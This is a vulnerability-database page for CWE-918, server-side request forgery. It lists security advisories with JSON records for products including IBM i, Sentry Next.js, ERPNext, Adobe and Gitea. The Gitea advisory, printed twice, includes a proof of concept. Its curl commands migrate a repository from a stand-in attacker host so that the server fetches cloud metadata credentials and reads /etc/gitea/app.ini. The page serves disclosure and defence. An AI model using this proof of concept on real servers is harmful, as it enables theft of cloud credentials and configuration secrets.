Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4863 vulnerabilities reference this CWE, most recent first.

GHSA-2R73-V75C-63J8

Vulnerability from github – Published: 2024-12-21 15:30 – Updated: 2025-11-04 00:32
VLAI
Details

IBM i 7.3, 7.4, and 7.5

is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2024-51463"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-21T14:15:21Z",
    "severity": "MODERATE"
  },
  "details": "IBM i 7.3, 7.4, and 7.5 \n\nis vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.",
  "id": "GHSA-2r73-v75c-63j8",
  "modified": "2025-11-04T00:32:15Z",
  "published": "2024-12-21T15:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51463"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7179509"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2024/Dec/19"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2RMR-XW8M-22Q9

Vulnerability from github – Published: 2023-11-09 22:03 – Updated: 2023-11-17 21:55
VLAI
Summary
Sentry Next.js vulnerable to SSRF via Next.js SDK tunnel endpoint
Details

Impact

An unsanitized input of Next.js SDK tunnel endpoint allows sending HTTP requests to arbitrary URLs and reflecting the response back to the user. This could open door for other attack vectors: * client-side vulnerabilities: XSS/CSRF in the context of the trusted domain; * interaction with internal network; * read cloud metadata endpoints (AWS, Azure, Google Cloud, etc.); * local/remote port scan.

This issue only affects users who have Next.js SDK tunneling feature enabled.

Patches

The problem has been fixed in sentry/nextjs@7.77.0

Workarounds

Disable tunneling by removing the tunnelRoute option from Sentry Next.js SDK config — next.config.js or next.config.mjs.

References

Credits

Severity
6.1 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@sentry/nextjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.26.0"
            },
            {
              "fixed": "7.77.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-46729"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-11-09T22:03:44Z",
    "nvd_published_at": "2023-11-10T01:15:07Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nAn unsanitized input of Next.js SDK tunnel endpoint allows sending HTTP requests to arbitrary URLs and reflecting the response back to the user. This could open door for other attack vectors:\n* client-side vulnerabilities: XSS/CSRF in the context of the trusted domain;\n* interaction with internal network;\n* read cloud metadata endpoints (AWS, Azure, Google Cloud, etc.);\n* local/remote port scan.\n\nThis issue only affects users who have [Next.js SDK tunneling feature](https://docs.sentry.io/platforms/javascript/guides/nextjs/manual-setup/#configure-tunneling-to-avoid-ad-blockers) enabled.\n\n### Patches\nThe problem has been fixed in [sentry/nextjs@7.77.0](https://www.npmjs.com/package/@sentry/nextjs/v/7.77.0)\n\n### Workarounds\nDisable tunneling by removing the `tunnelRoute` option from Sentry Next.js SDK config \u2014 `next.config.js` or `next.config.mjs`.\n\n### References\n* [Sentry Next.js tunneling feature](https://docs.sentry.io/platforms/javascript/guides/nextjs/manual-setup/#configure-tunneling-to-avoid-ad-blockers)\n* [The fix](https://github.com/getsentry/sentry-javascript/pull/9415)\n* [More Information](https://blog.sentry.io/next-js-sdk-security-advisory-cve-2023-46729/)\n\n### Credits\n* [Praveen Kumar](https://hackerone.com/mr_x_strange)",
  "id": "GHSA-2rmr-xw8m-22q9",
  "modified": "2023-11-17T21:55:44Z",
  "published": "2023-11-09T22:03:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getsentry/sentry-javascript/security/advisories/GHSA-2rmr-xw8m-22q9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46729"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getsentry/sentry-javascript/pull/9415"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getsentry/sentry-javascript/commit/ddbda3c02c35aba8c5235e0cf07fc5bf656f81be"
    },
    {
      "type": "WEB",
      "url": "https://blog.sentry.io/next-js-sdk-security-advisory-cve-2023-46729"
    },
    {
      "type": "WEB",
      "url": "https://docs.sentry.io/platforms/javascript/guides/nextjs/manual-setup/#configure-tunneling-to-avoid-ad-blockers"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getsentry/sentry-javascript"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/package/@sentry/nextjs/v/7.77.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Sentry Next.js vulnerable to SSRF via Next.js SDK tunnel endpoint"
}

GHSA-2RVG-P9MC-WR6C

Vulnerability from github – Published: 2026-01-28 18:30 – Updated: 2026-01-28 18:30
VLAI
Details

ILIAS Learning Management System 4.3 contains a server-side request forgery vulnerability that allows attackers to read local files through portfolio PDF export functionality. Attackers can inject a script that uses XMLHttpRequest to retrieve local file contents when the portfolio is exported to PDF.

Severity
4.0 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-36944"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-28T18:16:45Z",
    "severity": "MODERATE"
  },
  "details": "ILIAS Learning Management System 4.3 contains a server-side request forgery vulnerability that allows attackers to read local files through portfolio PDF export functionality. Attackers can inject a script that uses XMLHttpRequest to retrieve local file contents when the portfolio is exported to PDF.",
  "id": "GHSA-2rvg-p9mc-wr6c",
  "modified": "2026-01-28T18:30:48Z",
  "published": "2026-01-28T18:30:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-36944"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ILIAS-eLearning/ILIAS"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/49148"
    },
    {
      "type": "WEB",
      "url": "https://www.ilias.de"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/ilias-learning-management-system-ssrf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-2V29-2PV7-F546

Vulnerability from github – Published: 2026-04-02 21:32 – Updated: 2026-04-02 21:32
VLAI
Details

A vulnerability was determined in Dataease SQLbot up to 1.6.0. This issue affects the function get_es_data_by_http of the file backend/apps/db/es_engine.py of the component Elasticsearch Handler. This manipulation of the argument address causes server-side request forgery. The attack may be initiated remotely. The exploit has been publicly disclosed and may be utilized. Upgrading to version 1.7.0 is capable of addressing this issue. You should upgrade the affected component. The vendor was contacted early about this disclosure.

Severity
4.7 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L
2.0 (Low)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-5417"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-02T19:21:36Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was determined in Dataease SQLbot up to 1.6.0. This issue affects the function get_es_data_by_http of the file backend/apps/db/es_engine.py of the component Elasticsearch Handler. This manipulation of the argument address causes server-side request forgery. The attack may be initiated remotely. The exploit has been publicly disclosed and may be utilized. Upgrading to version 1.7.0 is capable of addressing this issue. You should upgrade the affected component. The vendor was contacted early about this disclosure.",
  "id": "GHSA-2v29-2pv7-f546",
  "modified": "2026-04-02T21:32:53Z",
  "published": "2026-04-02T21:32:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5417"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dataease/SQLBot/releases/tag/v1.7.0"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/756043"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/354854"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/354854/cti"
    },
    {
      "type": "WEB",
      "url": "https://www.notion.so/SQLbot-SSRF-in-Elasticsearch-Unvalidated-Requests-2afea92a3c4180bea524f1a253f8d9a0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-2VGP-8568-M98F

Vulnerability from github – Published: 2026-04-08 18:34 – Updated: 2026-04-09 21:31
VLAI
Details

A Server-Side Request Forgery (SSRF) vulnerability exists in the Print Format functionality of ERPNext v16.0.1 and Frappe Framework v16.1.1, where user-supplied HTML is insufficiently sanitized before being rendered into PDF. When generating PDFs from user-controlled HTML content, the application allows the inclusion of HTML elements such as that reference external resources. The PDF rendering engine automatically fetches these resources on the server side. An attacker can abuse this behavior to force the server to make arbitrary HTTP requests to internal services, including cloud metadata endpoints, potentially leading to sensitive information disclosure.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-31017"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-08T17:21:18Z",
    "severity": "CRITICAL"
  },
  "details": "A Server-Side Request Forgery (SSRF) vulnerability exists in the Print Format functionality of ERPNext v16.0.1 and Frappe Framework v16.1.1, where user-supplied HTML is insufficiently sanitized before being rendered into PDF. When generating PDFs from user-controlled HTML content, the application allows the inclusion of HTML elements such as \u003ciframe\u003e that reference external resources. The PDF rendering engine automatically fetches these resources on the server side. An attacker can abuse this behavior to force the server to make arbitrary HTTP requests to internal services, including cloud metadata endpoints, potentially leading to sensitive information disclosure.",
  "id": "GHSA-2vgp-8568-m98f",
  "modified": "2026-04-09T21:31:28Z",
  "published": "2026-04-08T18:34:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31017"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PhDg1410/CVE/tree/main/CVE-2026-31017"
    },
    {
      "type": "WEB",
      "url": "http://frappe.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2VW7-MRF4-V3MH

Vulnerability from github – Published: 2026-04-03 18:31 – Updated: 2026-04-03 21:31
VLAI
Details

Microsoft Bing Elevation of Privilege Vulnerability

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2026-32186"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-03T18:16:24Z",
    "severity": "MODERATE"
  },
  "details": "Microsoft Bing Elevation of Privilege Vulnerability",
  "id": "GHSA-2vw7-mrf4-v3mh",
  "modified": "2026-04-03T21:31:42Z",
  "published": "2026-04-03T18:31:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32186"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32186"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2VXM-9C9F-7Q2M

Vulnerability from github – Published: 2024-12-10 03:31 – Updated: 2024-12-10 03:31
VLAI
Details

Adobe Document Service allows an attacker with administrator privileges to send a crafted request from a vulnerable web application. It is usually used to target internal systems behind firewalls that are normally inaccessible to an attacker from the external network, resulting in a Server-Side Request Forgery vulnerability. On successful exploitation, the attacker can read or modify any file and/or make the entire system unavailable.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-47578"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-10T01:15:05Z",
    "severity": "CRITICAL"
  },
  "details": "Adobe Document Service allows an attacker with administrator privileges to send a crafted request from a vulnerable web application. It is usually used to target internal systems behind firewalls that are normally inaccessible to an attacker from the external network, resulting in a Server-Side Request Forgery vulnerability. On successful exploitation, the attacker can read or modify any file and/or make the entire system unavailable.",
  "id": "GHSA-2vxm-9c9f-7q2m",
  "modified": "2024-12-10T03:31:45Z",
  "published": "2024-12-10T03:31:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47578"
    },
    {
      "type": "WEB",
      "url": "https://me.sap.com/notes/3536965"
    },
    {
      "type": "WEB",
      "url": "https://url.sap/sapsecuritypatchday"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2W53-3QHG-WQQ3

Vulnerability from github – Published: 2025-07-18 21:30 – Updated: 2025-07-18 21:30
VLAI
Details

A Server-Side Request Forgery (SSRF) in the component TunnelServlet of agorum Software GmbH Agorum core open v11.9.2 & v11.10.1 allows attackers to forcefully initiate connections to arbitrary internal and external resources via a crafted request. This can lead to sensitive data exposure.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-52163"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-18T19:15:24Z",
    "severity": "MODERATE"
  },
  "details": "A Server-Side Request Forgery (SSRF) in the component TunnelServlet of agorum Software GmbH Agorum core open v11.9.2 \u0026 v11.10.1 allows attackers to forcefully initiate connections to arbitrary internal and external resources via a crafted request. This can lead to sensitive data exposure.",
  "id": "GHSA-2w53-3qhg-wqq3",
  "modified": "2025-07-18T21:30:30Z",
  "published": "2025-07-18T21:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52163"
    },
    {
      "type": "WEB",
      "url": "https://herolab.usd.de/security-advisories/usd-2025-0025"
    },
    {
      "type": "WEB",
      "url": "http://agorum.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2WF9-R2CR-9GR8

Vulnerability from github – Published: 2022-05-14 02:59 – Updated: 2022-05-14 02:59
VLAI
Details

Adobe Experience Manager versions 6.2 and 6.3 have a Server-Side Request Forgery vulnerability. Successful exploitation could lead to sensitive information disclosure.

Severity
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2018-5004"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-07-20T19:29:00Z",
    "severity": "HIGH"
  },
  "details": "Adobe Experience Manager versions 6.2 and 6.3 have a Server-Side Request Forgery vulnerability. Successful exploitation could lead to sensitive information disclosure.",
  "id": "GHSA-2wf9-r2cr-9gr8",
  "modified": "2022-05-14T02:59:16Z",
  "published": "2022-05-14T02:59:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-5004"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/experience-manager/apsb18-23.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/104702"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2WM4-VWP6-V7XC

Vulnerability from github – Published: 2026-07-21 21:55 – Updated: 2026-07-21 21:55
VLAI
Summary
Gitea: SSRF via Migration Asset Downloads Bypasses hostmatcher — Reads Internal Files and Cloud Metadata
Details

Summary

Gitea has robust SSRF protection via hostmatcher.NewDialContext() for webhook and migration clone URLs, which validates resolved IPs at the TCP dial level. However, three code paths use raw http.Get() (Go's DefaultClient) which completely bypasses this protection, enabling SSRF to internal services and local file read via the file:// scheme.

Vulnerable Code

File: modules/uri/uri.go (line 32) -- Core vulnerability

func Open(uriStr string) (io.ReadCloser, error) {
    u, err := url.Parse(uriStr)
    switch strings.ToLower(u.Scheme) {
    case "http", "https":
        f, err := http.Get(uriStr)   // RAW http.Get -- no hostmatcher filtering
        return f.Body, nil
    case "file":
        return os.Open(u.Path)        // LOCAL FILE READ via file:// scheme
    }
}

Callers in migration path: - services/migrations/gitea_uploader.go:340 -- uri.Open(*asset.DownloadURL) for release assets - services/migrations/gitea_uploader.go:586 -- uri.Open(pr.PatchURL) for PR patches

File: services/migrations/dump.go (lines 312, 453)

// Line 312 -- release asset download
resp, err := http.Get(*asset.DownloadURL)

// Line 453 -- PR patch download (with self-documenting TODO)
resp, err := http.Get(u) // TODO: This probably needs to use the downloader

File: routers/web/auth/oauth.go (line 306)

func oauth2UpdateAvatarIfNeed(ctx *context.Context, url string, u *user_model.User) {
    resp, err := http.Get(url)    // RAW http.Get -- no hostmatcher

Contrast with protected migration clone (same codebase):

// services/migrations/migrate.go:526 -- PROTECTED with hostmatcher
transport.DialContext = hostmatcher.NewDialContext("migration", allowList, blockList, ...)

PoC

# Step 1: Set up attacker Gitea instance with malicious release asset URLs
# Create a repo on evil.gitea.attacker.com with a release asset whose
# download_url points to internal services:

# Asset DownloadURL set to: http://169.254.169.254/latest/meta-data/iam/security-credentials/role
# Or: file:///etc/gitea/app.ini (local file read)

# Step 2: Admin triggers migration from attacker's Gitea instance
curl -s -X POST "https://target-gitea.com/api/v1/repos/migrate" \
  -H "Authorization: token ADMIN_API_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "clone_addr": "https://evil.gitea.attacker.com/user/repo.git",
    "repo_name": "migrated-repo",
    "repo_owner": "admin",
    "service": "gitea"
  }'

# Step 3: During migration, Gitea downloads release assets using unfiltered http.Get()
# Cloud metadata is saved as the release asset attachment in the migrated repo
# Or app.ini contents (with DB credentials, JWT secrets) are saved via file:// scheme

# Step 4: Attacker accesses the migrated repo's release assets to retrieve stolen data
curl -s "https://target-gitea.com/admin/migrated-repo/releases/download/v1.0/stolen-metadata.txt"

Impact

  • Cloud metadata theft: 169.254.169.254 reachable via unfiltered http.Get() (AWS IMDSv1 credentials, GCP tokens)
  • Local file read: file:// scheme in uri.Open() reads /etc/gitea/app.ini (database credentials, JWT signing secrets, SMTP passwords)
  • Internal service scanning: Reach 127.0.0.1, 10.x, 172.16-31.x, 192.168.x networks
  • Bypasses existing SSRF protection: The hostmatcher dialer is comprehensive but only applied to webhook and clone transports -- these three paths are unprotected
  • Migration vectors require migration permission (admin/org owner); OAuth vector requires admin-configured custom OAuth2 source
Severity
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.gitea.io/gitea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.27.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59765"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T21:55:31Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nGitea has robust SSRF protection via `hostmatcher.NewDialContext()` for webhook and migration clone URLs, which validates resolved IPs at the TCP dial level. However, three code paths use raw `http.Get()` (Go\u0027s `DefaultClient`) which completely bypasses this protection, enabling SSRF to internal services and local file read via the `file://` scheme.\n\n### Vulnerable Code\n\n**File: `modules/uri/uri.go` (line 32) -- Core vulnerability**\n\n```go\nfunc Open(uriStr string) (io.ReadCloser, error) {\n    u, err := url.Parse(uriStr)\n    switch strings.ToLower(u.Scheme) {\n    case \"http\", \"https\":\n        f, err := http.Get(uriStr)   // RAW http.Get -- no hostmatcher filtering\n        return f.Body, nil\n    case \"file\":\n        return os.Open(u.Path)        // LOCAL FILE READ via file:// scheme\n    }\n}\n```\n\n**Callers in migration path:**\n- `services/migrations/gitea_uploader.go:340` -- `uri.Open(*asset.DownloadURL)` for release assets\n- `services/migrations/gitea_uploader.go:586` -- `uri.Open(pr.PatchURL)` for PR patches\n\n**File: `services/migrations/dump.go` (lines 312, 453)**\n\n```go\n// Line 312 -- release asset download\nresp, err := http.Get(*asset.DownloadURL)\n\n// Line 453 -- PR patch download (with self-documenting TODO)\nresp, err := http.Get(u) // TODO: This probably needs to use the downloader\n```\n\n**File: `routers/web/auth/oauth.go` (line 306)**\n\n```go\nfunc oauth2UpdateAvatarIfNeed(ctx *context.Context, url string, u *user_model.User) {\n    resp, err := http.Get(url)    // RAW http.Get -- no hostmatcher\n```\n\n**Contrast with protected migration clone (same codebase):**\n\n```go\n// services/migrations/migrate.go:526 -- PROTECTED with hostmatcher\ntransport.DialContext = hostmatcher.NewDialContext(\"migration\", allowList, blockList, ...)\n```\n\n### PoC\n\n```bash\n# Step 1: Set up attacker Gitea instance with malicious release asset URLs\n# Create a repo on evil.gitea.attacker.com with a release asset whose\n# download_url points to internal services:\n\n# Asset DownloadURL set to: http://169.254.169.254/latest/meta-data/iam/security-credentials/role\n# Or: file:///etc/gitea/app.ini (local file read)\n\n# Step 2: Admin triggers migration from attacker\u0027s Gitea instance\ncurl -s -X POST \"https://target-gitea.com/api/v1/repos/migrate\" \\\n  -H \"Authorization: token ADMIN_API_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"clone_addr\": \"https://evil.gitea.attacker.com/user/repo.git\",\n    \"repo_name\": \"migrated-repo\",\n    \"repo_owner\": \"admin\",\n    \"service\": \"gitea\"\n  }\u0027\n\n# Step 3: During migration, Gitea downloads release assets using unfiltered http.Get()\n# Cloud metadata is saved as the release asset attachment in the migrated repo\n# Or app.ini contents (with DB credentials, JWT secrets) are saved via file:// scheme\n\n# Step 4: Attacker accesses the migrated repo\u0027s release assets to retrieve stolen data\ncurl -s \"https://target-gitea.com/admin/migrated-repo/releases/download/v1.0/stolen-metadata.txt\"\n```\n\n### Impact\n\n- **Cloud metadata theft:** `169.254.169.254` reachable via unfiltered `http.Get()` (AWS IMDSv1 credentials, GCP tokens)\n- **Local file read:** `file://` scheme in `uri.Open()` reads `/etc/gitea/app.ini` (database credentials, JWT signing secrets, SMTP passwords)\n- **Internal service scanning:** Reach `127.0.0.1`, `10.x`, `172.16-31.x`, `192.168.x` networks\n- **Bypasses existing SSRF protection:** The `hostmatcher` dialer is comprehensive but only applied to webhook and clone transports -- these three paths are unprotected\n- Migration vectors require migration permission (admin/org owner); OAuth vector requires admin-configured custom OAuth2 source",
  "id": "GHSA-2wm4-vwp6-v7xc",
  "modified": "2026-07-21T21:55:31Z",
  "published": "2026-07-21T21:55:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-2wm4-vwp6-v7xc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Gitea: SSRF via Migration Asset Downloads Bypasses hostmatcher \u2014 Reads Internal Files and Cloud Metadata"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

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